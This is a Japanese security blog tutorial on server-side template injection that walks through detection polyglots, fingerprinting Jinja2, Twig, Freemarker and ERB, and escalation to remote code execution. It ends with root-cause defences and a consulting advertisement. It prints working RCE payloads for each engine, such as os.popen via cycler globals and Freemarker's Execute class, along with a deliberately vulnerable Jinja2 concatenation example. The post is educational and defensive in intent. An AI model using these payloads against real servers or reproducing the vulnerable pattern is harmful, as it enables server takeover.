跳至主要內容
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
SSTI
脆弱性診断
Webセキュリティ

SSTI(サーバーサイドテンプレートインジェクション)の完全攻略【2026】検出・エンジン特定・RCE — 公式ドキュメント忠実版

サーバーサイドテンプレートインジェクション(SSTI)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。脆弱性が生まれる原因、検出(ポリグロット ${{<%[%'"}}%\ と数式評価)、テンプレートエンジンの特定(Jinja2/Twig/Freemarker/ERB)、情報漏洩からファイル読取・リモートコード実行(RCE)への悪用、そして『ユーザー入力をテンプレートにしない』『ロジックレスエンジン・サンドボックス』による根本対策までを、自分のラボ限定の実例で解説します。

Published
Reading time
6 min read
Author
友田 陽大
分享

SSTI(サーバーサイドテンプレートインジェクション)は、Webアプリ脆弱性の中でも最も影響が大きいクラスの一つです。PortSwigger の定義通り「攻撃者がテンプレートのネイティブ構文で悪意あるペイロードを注入し、それがサーバー側で実行される」もので、しばしばリモートコード実行(RCE)——つまりサーバー乗っ取りに直結します。本記事は、その攻撃手法を公式に忠実に解説します。

絶対の前提: SSTIは容易にRCEへ至るため、極めて侵襲的です。実行は 合法ラボ または書面で許可されたスコープでのみ。本番でのRCE実証は影響が甚大なので、許可範囲と手順を依頼者と事前合意すること(→ 法律ガイド)。地図は ピラー


1. SSTIの本質 — 入力を「コード」として連結する

テンプレートエンジン(Jinja2, Twig, Freemarker, ERB…)は、{{ name }} のようなプレースホルダを実データに差し替えてHTMLを生成します。問題は、ユーザー入力そのものをテンプレート文字列に連結してしまうとき。

# ❌ 脆弱:ユーザー入力 name をテンプレート「コード」に連結している(Jinja2)
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
#                            └─ ここに {{7*7}} を入れると、サーバーが評価する

# ✅ 安全:入力は「データ」としてレンダ変数で渡す(テンプレートは固定)
output = Template("Dear {{ name }}").render(name=request.args["name"])

上の脆弱な例に name={{7*7}} を渡すと、出力は Dear 49サーバー上でコードが評価された証拠です。


2. 検出 — ポリグロットと数式評価

PortSwigger の方法論は 検出 → エンジン特定 → 悪用 の3段。まず検出です。

2.1 ポリグロットで「壊す」

複数エンジンの特殊文字を一度に含むポリグロットを投げ、エラーや異常応答を観測します。

${{<%[%'"}}%\

これでエラー(例外・スタックトレース・500)が出れば、テンプレート処理に届いている可能性が高い。

2.2 文脈で数式を評価させる

PortSwigger は2つの文脈を区別します。

  • プレーンテキスト文脈:出力にそのまま埋まる。${7*7}{{7*7}} を入れ、49 が返れば確定
  • コード文脈:既存の式の中に入る(例 greeting=data.name)。まず式を閉じてから注入する(}}" でブレイクアウト)。
# プレーンテキスト文脈
{{7*7}}     → 49 なら Jinja2/Twig 系
${7*7}      → 49 なら Freemarker/一部エンジン
<%= 7*7 %>  → 49 なら ERB(Ruby)
#{7*7}      → 49 なら 一部エンジン

3. エンジン特定 — 悪用ペイロードはエンジン依存

どのエンジンかで悪用方法が全く違うため、特定が悪用の鍵です。{{7*7}}${7*7} の効き方、エラーメッセージの文言、エンジン固有構文で切り分けます。

# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49        → Twig(PHP)
${7*7} が 49                          → Freemarker(Java) / 一部
<%= 7*7 %> が 49                      → ERB(Ruby)

エラーメッセージにライブラリ名(jinja2, Twig\Error 等)が出れば一発で特定できます。


4. 悪用 — 情報漏洩からRCEへ

4.1 Jinja2(Python)— オブジェクトグラフを辿る

Jinja2では、組み込みオブジェクトからサブクラスを辿って危険な関数(os.popen 等)へ到達します。

# 設定値や環境を覗く(情報漏洩)
{{ config }}
{{ config.items() }}

# RCEへ:サブクラス経由で OS コマンドを実行する古典的経路(概念・lab限定)
{{ ''.__class__.__mro__[1].__subclasses__() }}   # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }}   # コマンド実行

4.2 ERB(Ruby)/ Freemarker(Java)/ Twig(PHP)

# ERB(Ruby):素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>

# Freemarker(Java):実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Twig(PHP):フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}

重要な視点: SSTIは一見「数式が評価されるだけ」に見えても、サーバー上で任意コードが走る点でXSSとは影響の桁が違います。{{7*7}}=49 を見た瞬間に「これはRCEになり得る」と判断するのがプロです。


5. 【守る側】根本対策

PortSwigger と OWASP の結論は明快です。

# ✅ 最大の対策:ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html")   # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input)        # 入力は変数として注入されるだけ(安全)

設計原則:

  • ユーザー入力をテンプレート文字列に連結しない(最重要)。入力は必ずレンダ変数=データとして渡す。
  • ユーザーにテンプレート編集を許さない。どうしても必要なら:
    • ロジックレスエンジンMustache 等)を使い、任意コード評価の余地を断つ。
    • サンドボックス化(信頼できないテンプレートを隔離環境で評価)。ただしサンドボックス脱出の研究もあるため過信しない。
    • 最小権限コンテナで隔離し、RCEが起きても被害を封じ込める。
  • 多層防御:WAF・出力の監視・最小権限のプロセス実行。これらは「設計の代わり」ではなく保険。

SSTIは「機能としてテンプレートをユーザーに開放する」設計判断(メール文面のカスタマイズ等)と表裏一体です。**その機能が本当に必要か(YAGNI)**から問い直すのが、最も確実な防御になります。脅威モデリングで設計段階に潰す方法は STRIDE脅威モデリングガイド を参照。


6. まとめ

  • 本質:ユーザー入力をテンプレートの「コード」として連結すると、サーバーでコードが評価される。
  • 検出:ポリグロット ${{<%[%'"}}%\ → 数式 {{7*7}}/${7*7}49 なら確定。
  • エンジン特定が鍵{{7*'7'}} 等で Jinja2/Twig/Freemarker/ERB を切り分ける。
  • 悪用:オブジェクトグラフを辿りRCEへ。XSSと違いサーバー実行=影響甚大。
  • 根本対策:入力をテンプレートにしない。必要ならロジックレス・サンドボックス・最小権限隔離。

これで本クラスタの主要な攻撃手法は一通りです。攻撃の理解を防御設計へ昇華させる流れは ピラー に戻って俯瞰し、実戦は バグバウンティ で合法に磨いてください。


参考(公式一次情報)

友田

友田 陽大

榮獲經濟產業大臣獎產品的開發者。以 TypeScript + Python + AWS,獨自端到端交付 SaaS、產業數碼轉型及可用於生產的生成式 AI(RAG)——由需求定義到基礎架構與維運。

What if this attack were reproduced on your app?

Web-app vulnerability assessment & penetration testing

I actually reproduce and assess the SQLi, XSS, SSRF, JWT, auth, and SSTI attacks covered here on your app, and take it through from design to fix. Only those who know the attacker's moves can preempt where it breaks at the design stage. You're welcome to visualize the current state with the free OSS first.

承接按專案計費的開發與技術顧問兩類合作。歡迎先由 30 分鐘免費諮詢開始。

最短ルート:カレンダーから直接予約

相談内容が固まっている方は、フォーム送信よりその場で日程を確定する方がスムーズです。下記から空き時間をお選びください。

  • 30分のオンライン無料相談
  • Google Meet / Zoom / Microsoft Teams
  • NDA 商談前締結可・無理な営業はいたしません
無料相談の空き枠を予約する

延伸閱讀